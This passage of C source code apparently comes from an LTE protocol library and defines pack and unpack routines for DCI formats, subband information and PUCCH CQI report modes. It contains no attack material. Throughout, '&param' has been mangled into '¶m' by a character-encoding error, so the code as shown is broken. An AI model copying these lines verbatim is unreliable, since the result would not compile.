* Desc : This structure contains the information needed to convey DCI format 1A.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data shall
* also carry some control information, essentially allocation information,
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1bInfo
(
TfuDciFormat1bInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1bInfo(param, mBuf)
TfuDciFormat1bInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1bInfo)
CMCHKUNPK(cmUnpkTfuDciFormat1bAllocInfo, ¶m->allocInfo, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->dai, mBuf);
#endif
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciInfo
*
*
* Desc : This structure contains the information needed to convey the possible DCI
* formats. The following are the supported formats -
* -# Format 0 - used for PUSCH scheduling
* -# Format 1 - used for PDSCH scheduling
* -# Format 1A - used for compact scheduling of PDSCH or RA procedure
* intitiated by a PDCCH order.
* -# Format 1B - used for compact scheduling of PDSCH with precoding
* information.
* -# Format 1C - used for very compact scheduling of PDSCH.
* -# Format 1D - used for compact scheduling for PDSCH with precoding
* information with power offset.
* -# Format 2 - used for PDSCH Scheduling
* -# Format 2A - used for PDSCH Scheduling
* -# Format 3 - used for power control
* -# Format 3A - used for power control
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciInfo
(
TfuDciInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciInfo(param, mBuf)
TfuDciInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciInfo)
switch(param->dciFormat) {
case TFU_DCI_FORMAT_3A:
CMCHKPK(cmPkTfuDciFormat3AInfo, ¶m->u.format3AInfo, mBuf);
break;
case TFU_DCI_FORMAT_3:
CMCHKPK(cmPkTfuDciFormat3Info, ¶m->u.format3Info, mBuf);
break;
case TFU_DCI_FORMAT_2A:
CMCHKPK(cmPkTfuDciFormat2AInfo, ¶m->u.format2AInfo, mBuf);
break;
case TFU_DCI_FORMAT_2:
CMCHKPK(cmPkTfuDciFormat2Info, ¶m->u.format2Info, mBuf);
break;
case TFU_DCI_FORMAT_1D:
CMCHKPK(cmPkTfuDciFormat1dInfo, ¶m->u.format1dInfo, mBuf);
break;
case TFU_DCI_FORMAT_1C:
CMCHKPK(cmPkTfuDciFormat1cInfo, ¶m->u.format1cInfo, mBuf);
break;
case TFU_DCI_FORMAT_1B:
CMCHKPK(cmPkTfuDciFormat1bInfo, ¶m->u.format1bInfo, mBuf);
break;
case TFU_DCI_FORMAT_1A:
CMCHKPK(cmPkTfuDciFormat1aInfo, ¶m->u.format1aInfo, mBuf);
break;
case TFU_DCI_FORMAT_1:
CMCHKPK(cmPkTfuDciFormat1Info, ¶m->u.format1Info, mBuf);
break;
case TFU_DCI_FORMAT_0:
CMCHKPK(cmPkTfuDciFormat0Info, ¶m->u.format0Info, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->dciFormat, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciInfo
*
*
* Desc : This structure contains the information needed to convey the possible DCI
* formats. The following are the supported formats -
* -# Format 0 - used for PUSCH scheduling
* -# Format 1 - used for PDSCH scheduling
* -# Format 1A - used for compact scheduling of PDSCH or RA procedure
* intitiated by a PDCCH order.
* -# Format 1B - used for compact scheduling of PDSCH with precoding
* information.
* -# Format 1C - used for very compact scheduling of PDSCH.
* -# Format 1D - used for compact scheduling for PDSCH with precoding
* information with power offset.
* -# Format 2 - used for PDSCH Scheduling
* -# Format 2A - used for PDSCH Scheduling
* -# Format 3 - used for power control
* -# Format 3A - used for power control
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciInfo
(
TfuDciInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciInfo(param, mBuf)
TfuDciInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciInfo)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->dciFormat, mBuf);
switch(param->dciFormat) {
case TFU_DCI_FORMAT_0:
CMCHKUNPK(cmUnpkTfuDciFormat0Info, ¶m->u.format0Info, mBuf);
break;
case TFU_DCI_FORMAT_1:
CMCHKUNPK(cmUnpkTfuDciFormat1Info, ¶m->u.format1Info, mBuf);
break;
case TFU_DCI_FORMAT_1A:
CMCHKUNPK(cmUnpkTfuDciFormat1aInfo, ¶m->u.format1aInfo, mBuf);
break;
case TFU_DCI_FORMAT_1B:
CMCHKUNPK(cmUnpkTfuDciFormat1bInfo, ¶m->u.format1bInfo, mBuf);
break;
case TFU_DCI_FORMAT_1C:
CMCHKUNPK(cmUnpkTfuDciFormat1cInfo, ¶m->u.format1cInfo, mBuf);
break;
case TFU_DCI_FORMAT_1D:
CMCHKUNPK(cmUnpkTfuDciFormat1dInfo, ¶m->u.format1dInfo, mBuf);
break;
case TFU_DCI_FORMAT_2:
CMCHKUNPK(cmUnpkTfuDciFormat2Info, ¶m->u.format2Info, mBuf);
break;
case TFU_DCI_FORMAT_2A:
CMCHKUNPK(cmUnpkTfuDciFormat2AInfo, ¶m->u.format2AInfo, mBuf);
break;
case TFU_DCI_FORMAT_3:
CMCHKUNPK(cmUnpkTfuDciFormat3Info, ¶m->u.format3Info, mBuf);
break;
case TFU_DCI_FORMAT_3A:
CMCHKUNPK(cmUnpkTfuDciFormat3AInfo, ¶m->u.format3AInfo, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuSubbandInfo
*
*
* Desc : This structure contains the information needed to convey the start and size
* of the subband in the CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSubbandInfo
(
TfuSubbandInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSubbandInfo(param, mBuf)
TfuSubbandInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuSubbandInfo)
CMCHKPK(SPkU8, param->numRb, mBuf);
CMCHKPK(SPkU8, param->rbStart, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSubbandInfo
*
*
* Desc : This structure contains the information needed to convey the start and size
* of the subband in the CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSubbandInfo
(
TfuSubbandInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSubbandInfo(param, mBuf)
TfuSubbandInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuSubbandInfo)
CMCHKUNPK(SUnpkU8, ¶m->rbStart, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numRb, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuSubbandCqiInfo
*
*
* Desc : This structure is used to convey the subbannd CQI reported.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSubbandCqiInfo
(
TfuSubbandCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSubbandCqiInfo(param, mBuf)
TfuSubbandCqiInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuSubbandCqiInfo)
CMCHKPK(SPkU8, param->cqiIdx, mBuf);
CMCHKPK(cmPkTfuSubbandInfo, ¶m->subband, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSubbandCqiInfo
*
*
* Desc : This structure is used to convey the subbannd CQI reported.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSubbandCqiInfo
(
TfuSubbandCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSubbandCqiInfo(param, mBuf)
TfuSubbandCqiInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuSubbandCqiInfo)
CMCHKUNPK(cmUnpkTfuSubbandInfo, ¶m->subband, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cqiIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPdcchCceInfo
*
*
* Desc : This structure conveys the CCE information.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPdcchCceInfo
(
TfuPdcchCceInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuPdcchCceInfo(param, mBuf)
TfuPdcchCceInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuPdcchCceInfo)
CMCHKPK(cmPkLteAggrLvl, param->aggrLvl, mBuf);
CMCHKPK(SPkU8, param->cceIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuPdcchCceInfo
*
*
* Desc : This structure conveys the CCE information.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPdcchCceInfo
(
TfuPdcchCceInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPdcchCceInfo(param, mBuf)
TfuPdcchCceInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuPdcchCceInfo)
CMCHKUNPK(SUnpkU8, ¶m->cceIdx, mBuf);
CMCHKUNPK(cmUnpkLteAggrLvl,(U32 *)¶m->aggrLvl, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPucchMode10
*
*
* Desc : This structure maps to the CQI mode 10. The report could either
* convey a Rank index or a wideband CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPucchMode10
(
TfuCqiPucchMode10 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPucchMode10(param, mBuf)
TfuCqiPucchMode10 *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiPucchMode10)
switch(param->type) {
case TFU_RPT_CQI:
CMCHKPK(SPkU8, param->u.cqi, mBuf);
break;
case TFU_RPT_RI:
CMCHKPK(SPkU8, param->u.ri, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->type, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPucchMode10
*
*
* Desc : This structure maps to the CQI mode 10. The report could either
* convey a Rank index or a wideband CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPucchMode10
(
TfuCqiPucchMode10 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPucchMode10(param, mBuf)
TfuCqiPucchMode10 *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiPucchMode10)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
switch(param->type) {
case TFU_RPT_RI:
CMCHKUNPK(SUnpkU8, ¶m->u.ri, mBuf);
break;
case TFU_RPT_CQI:
CMCHKUNPK(SUnpkU8, ¶m->u.cqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiMode11Cqi
*
*
* Desc : This structure contains a wideband CQI, PMI and optionally a
* wideband differential CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiMode11Cqi
(
TfuCqiMode11Cqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiMode11Cqi(param, mBuf)
TfuCqiMode11Cqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiMode11Cqi)
CMCHKPK(cmPkTknU8, ¶m->wideDiffCqi, mBuf);
CMCHKPK(SPkU8, param->pmi, mBuf);
CMCHKPK(SPkU8, param->cqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiMode11Cqi
*
*
* Desc : This structure contains a wideband CQI, PMI and optionally a
* wideband differential CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiMode11Cqi
(
TfuCqiMode11Cqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiMode11Cqi(param, mBuf)
TfuCqiMode11Cqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiMode11Cqi)
CMCHKUNPK(SUnpkU8, ¶m->cqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->pmi, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->wideDiffCqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPucchMode11
*
*
* Desc : This structure maps to the CQI mode 11. The report could either
* convey a Rank index or a CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPucchMode11
(
TfuCqiPucchMode11 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPucchMode11(param, mBuf)
TfuCqiPucchMode11 *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiPucchMode11)
switch(param->type) {
case TFU_RPT_CQI:
CMCHKPK(cmPkTfuCqiMode11Cqi, ¶m->u.cqi, mBuf);
break;
case TFU_RPT_RI:
CMCHKPK(SPkU8, param->u.ri, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->type, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPucchMode11
*
*
* Desc : This structure maps to the CQI mode 11. The report could either
* convey a Rank index or a CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPucchMode11
(
TfuCqiPucchMode11 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPucchMode11(param, mBuf)
TfuCqiPucchMode11 *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiPucchMode11)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
switch(param->type) {
case TFU_RPT_RI:
CMCHKUNPK(SUnpkU8, ¶m->u.ri, mBuf);
break;
case TFU_RPT_CQI:
CMCHKUNPK(cmUnpkTfuCqiMode11Cqi, ¶m->u.cqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiMode20SubCqi
*
*
* Desc : This structure contains the SubBand CQI for mode 2-0.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiMode20SubCqi
(
TfuCqiMode20SubCqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiMode20SubCqi(param, mBuf)
TfuCqiMode20SubCqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiMode20SubCqi)
CMCHKPK(SPkU8, param->l, mBuf);
CMCHKPK(SPkU8, param->cqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiMode20SubCqi
*
*
* Desc : This structure contains the SubBand CQI for mode 2-0.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiMode20SubCqi
(
TfuCqiMode20SubCqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiMode20SubCqi(param, mBuf)
TfuCqiMode20SubCqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiMode20SubCqi)
CMCHKUNPK(SUnpkU8, ¶m->cqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->l, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiMode20Cqi
*
*
* Desc : This structure contains Mode20 CQI report. It could either be a
* wideband CQI or a sub-band CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiMode20Cqi
(
TfuCqiMode20Cqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiMode20Cqi(param, mBuf)
TfuCqiMode20Cqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiMode20Cqi)
switch(param->isWideband) {
case FALSE:
CMCHKPK(cmPkTfuCqiMode20SubCqi, ¶m->u.subCqi, mBuf);
break;
case TRUE:
CMCHKPK(SPkU8, param->u.wideCqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU8, param->isWideband, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiMode20Cqi
*
*
* Desc : This structure contains Mode20 CQI report. It could either be a
* wideband CQI or a sub-band CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiMode20Cqi
(
TfuCqiMode20Cqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiMode20Cqi(param, mBuf)
TfuCqiMode20Cqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiMode20Cqi)
CMCHKUNPK(SUnpkU8, ¶m->isWideband, mBuf);
switch(param->isWideband) {
case TRUE:
CMCHKUNPK(SUnpkU8, ¶m->u.wideCqi, mBuf);
break;
case FALSE:
CMCHKUNPK(cmUnpkTfuCqiMode20SubCqi, ¶m->u.subCqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPucchMode20
*
*
* Desc : This structure maps to CQI mode 20. The report either contains a
* Rank Index or a CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPucchMode20
(
TfuCqiPucchMode20 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPucchMode20(param, mBuf)
TfuCqiPucchMode20 *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiPucchMode20)
switch(param->type) {
case TFU_RPT_CQI:
CMCHKPK(cmPkTfuCqiMode20Cqi, ¶m->u.cqi, mBuf);
break;
case TFU_RPT_RI:
CMCHKPK(SPkU8, param->u.ri, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->type, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPucchMode20
*
*
* Desc : This structure maps to CQI mode 20. The report either contains a
* Rank Index or a CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPucchMode20
(
TfuCqiPucchMode20 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPucchMode20(param, mBuf)
TfuCqiPucchMode20 *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiPucchMode20)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
switch(param->type) {
case TFU_RPT_RI:
CMCHKUNPK(SUnpkU8, ¶m->u.ri, mBuf);
break;
case TFU_RPT_CQI:
CMCHKUNPK(cmUnpkTfuCqiMode20Cqi, ¶m->u.cqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiMode21SubCqi
*
*
* Desc : This structure contains the sub-band CQI report for mode 2-1.
* It carries a CQI, 'L' bit sub-band label, and optionally a differential CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiMode21SubCqi
(
TfuCqiMode21SubCqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiMode21SubCqi(param, mBuf)
TfuCqiMode21SubCqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiMode21SubCqi)
CMCHKPK(cmPkTknU8, ¶m->diffCqi, mBuf);
CMCHKPK(SPkU8, param->l, mBuf);
CMCHKPK(SPkU8, param->cqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiMode21SubCqi
*
*
* Desc : This structure contains the sub-band CQI report for mode 2-1.
* It carries a CQI, 'L' bit sub-band label, and optionally a differential CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiMode21SubCqi
(
TfuCqiMode21SubCqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiMode21SubCqi(param, mBuf)
TfuCqiMode21SubCqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiMode21SubCqi)
CMCHKUNPK(SUnpkU8, ¶m->cqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->l, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->diffCqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiMode21WideCqi
*
*
* Desc : This structure contains the wideband CQI report for mode 2-1.
* It carries a wideband CQI, PMI and optionally a differential CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiMode21WideCqi
(
TfuCqiMode21WideCqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiMode21WideCqi(param, mBuf)
TfuCqiMode21WideCqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiMode21WideCqi)
CMCHKPK(cmPkTknU8, ¶m->diffCqi, mBuf);
CMCHKPK(SPkU8, param->pmi, mBuf);
CMCHKPK(SPkU8, param->cqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiMode21WideCqi
*
*
* Desc : This structure contains the wideband CQI report for mode 2-1.
* It carries a wideband CQI, PMI and optionally a differential CQI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiMode21WideCqi
(
TfuCqiMode21WideCqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiMode21WideCqi(param, mBuf)
TfuCqiMode21WideCqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiMode21WideCqi)
CMCHKUNPK(SUnpkU8, ¶m->cqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->pmi, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->diffCqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiMode21Cqi
*
*
* Desc : This structure conveys CQI report for mode 2-1. The reported value
* could either be wideband or sub-band.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiMode21Cqi
(
TfuCqiMode21Cqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiMode21Cqi(param, mBuf)
TfuCqiMode21Cqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiMode21Cqi)
switch(param->isWideband) {
case FALSE:
CMCHKPK(cmPkTfuCqiMode21SubCqi, ¶m->u.subCqi, mBuf);
break;
case TRUE:
CMCHKPK(cmPkTfuCqiMode21WideCqi, ¶m->u.wideCqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU8, param->isWideband, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiMode21Cqi
*
*
* Desc : This structure conveys CQI report for mode 2-1. The reported value
* could either be wideband or sub-band.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiMode21Cqi
(
TfuCqiMode21Cqi *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiMode21Cqi(param, mBuf)
TfuCqiMode21Cqi *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiMode21Cqi)
CMCHKUNPK(SUnpkU8, ¶m->isWideband, mBuf);
switch(param->isWideband) {
case TRUE:
CMCHKUNPK(cmUnpkTfuCqiMode21WideCqi, ¶m->u.wideCqi, mBuf);
break;
case FALSE:
CMCHKUNPK(cmUnpkTfuCqiMode21SubCqi, ¶m->u.subCqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPucchMode21
*
*
* Desc : This structure maps to the CQI reporting mode 2-1. The report either
* conveys a Rank Indicator or a CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPucchMode21
(
TfuCqiPucchMode21 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPucchMode21(param, mBuf)
TfuCqiPucchMode21 *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCqiPucchMode21)
switch(param->type) {
case TFU_RPT_CQI:
CMCHKPK(cmPkTfuCqiMode21Cqi, ¶m->u.cqi, mBuf);
break;
case TFU_RPT_RI:
CMCHKPK(SPkU8, param->u.ri, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->type, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPucchMode21
*
*
* Desc : This structure maps to the CQI reporting mode 2-1. The report either
* conveys a Rank Indicator or a CQI report.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPucchMode21
(
TfuCqiPucchMode21 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPucchMode21(param, mBuf)
TfuCqiPucchMode21 *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCqiPucchMode21)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
switch(param->type) {
case TFU_RPT_RI:
CMCHKUNPK(SUnpkU8, ¶m->u.ri, mBuf);
break;
case TFU_RPT_CQI:
CMCHKUNPK(cmUnpkTfuCqiMode21Cqi, ¶m->u.cqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDlCqiPucch
*
*
* Desc : This structure conveys the Downlink CQI reported on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDlCqiPucch
(
TfuDlCqiPucch *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDlCqiPucch(param, mBuf)
TfuDlCqiPucch *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDlCqiPucch)
switch(param->mode) {
case TFU_PUCCH_CQI_MODE21:
CMCHKPK(cmPkTfuCqiPucchMode21, ¶m->u.mode21Info, mBuf);
break;
case TFU_PUCCH_CQI_MODE20:
CMCHKPK(cmPkTfuCqiPucchMode20, ¶m->u.mode20Info, mBuf);
break;
case TFU_PUCCH_CQI_MODE11:
CMCHKPK(cmPkTfuCqiPucchMode11, ¶m->u.mode11Info, mBuf);
break;
case TFU_PUCCH_CQI_MODE10:
CMCHKPK(cmPkTfuCqiPucchMode10, ¶m->u.mode10Info, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->mode, mBuf);
CMCHKPK(SPkU8, param->cellIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDlCqiPucch
*
*
* Desc : This structure conveys the Downlink CQI reported on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDlCqiPucch
(
TfuDlCqiPucch *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDlCqiPucch(param, mBuf)
TfuDlCqiPucch *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDlCqiPucch)
CMCHKUNPK(SUnpkU8, ¶m->cellIdx, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->mode, mBuf);
switch(param->mode) {
case TFU_PUCCH_CQI_MODE10:
CMCHKUNPK(cmUnpkTfuCqiPucchMode10, ¶m->u.mode10Info, mBuf);
break;
case TFU_PUCCH_CQI_MODE11:
CMCHKUNPK(cmUnpkTfuCqiPucchMode11, ¶m->u.mode11Info, mBuf);
break;
case TFU_PUCCH_CQI_MODE20:
CMCHKUNPK(cmUnpkTfuCqiPucchMode20, ¶m->u.mode20Info, mBuf);
break;
case TFU_PUCCH_CQI_MODE21:
CMCHKUNPK(cmUnpkTfuCqiPucchMode21, ¶m->u.mode21Info, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuSubbandMode12
*
*
* Desc : This structure carries subband information and PMI, in the CQI
